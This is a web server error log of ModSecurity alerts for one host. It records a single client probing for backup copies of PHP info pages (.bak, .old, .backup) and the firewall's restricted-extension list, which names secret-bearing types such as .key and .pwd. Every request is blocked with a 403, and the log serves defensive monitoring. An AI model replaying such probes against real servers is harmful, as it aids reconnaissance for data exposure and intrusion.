[Fri Oct 24 20:59:00.946928 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aPvMdDqiRrsqbAQUrtTltQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:00.947332 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aPvMdDqiRrsqbAQUrtTltQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:00.947535 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.bak&quot;] [unique_id &quot;aPvMdDqiRrsqbAQUrtTltQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.238654 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTltgAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.239053 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTltgAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.239218 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.bak&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTltgAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.415592 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTltwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.415982 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTltwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.416191 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.bak&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTltwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.637014 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTluAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.637425 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTluAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.637652 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTluAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.858872 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTluQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.859283 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTluQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:01.859462 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.old&quot;] [unique_id &quot;aPvMdTqiRrsqbAQUrtTluQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:02.050609 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aPvMdjqiRrsqbAQUrtTlugAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:02.051045 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aPvMdjqiRrsqbAQUrtTlugAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:02.051246 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php_info.php.old&quot;] [unique_id &quot;aPvMdjqiRrsqbAQUrtTlugAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:02.202357 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aPvMdjqiRrsqbAQUrtTluwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:02.202773 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aPvMdjqiRrsqbAQUrtTluwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:02.202971 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.old&quot;] [unique_id &quot;aPvMdjqiRrsqbAQUrtTluwAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:03.837846 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aPvMdzqiRrsqbAQUrtTlwAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:03.838371 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aPvMdzqiRrsqbAQUrtTlwAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:03.838587 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.backup&quot;] [unique_id &quot;aPvMdzqiRrsqbAQUrtTlwAAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.381547 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.382029 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwQAAAA4&quot;], referer: https://www.google.com/
[Fri Oct 24 20:59:04.382239 2025] [:error] [pid 3735674] [client 52.28.200.164:52222] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.php.backup&quot;] [unique_id &quot;aPvMeDqiRrsqbAQUrtTlwQAAAA4&quot;], referer: https://www.google.com/
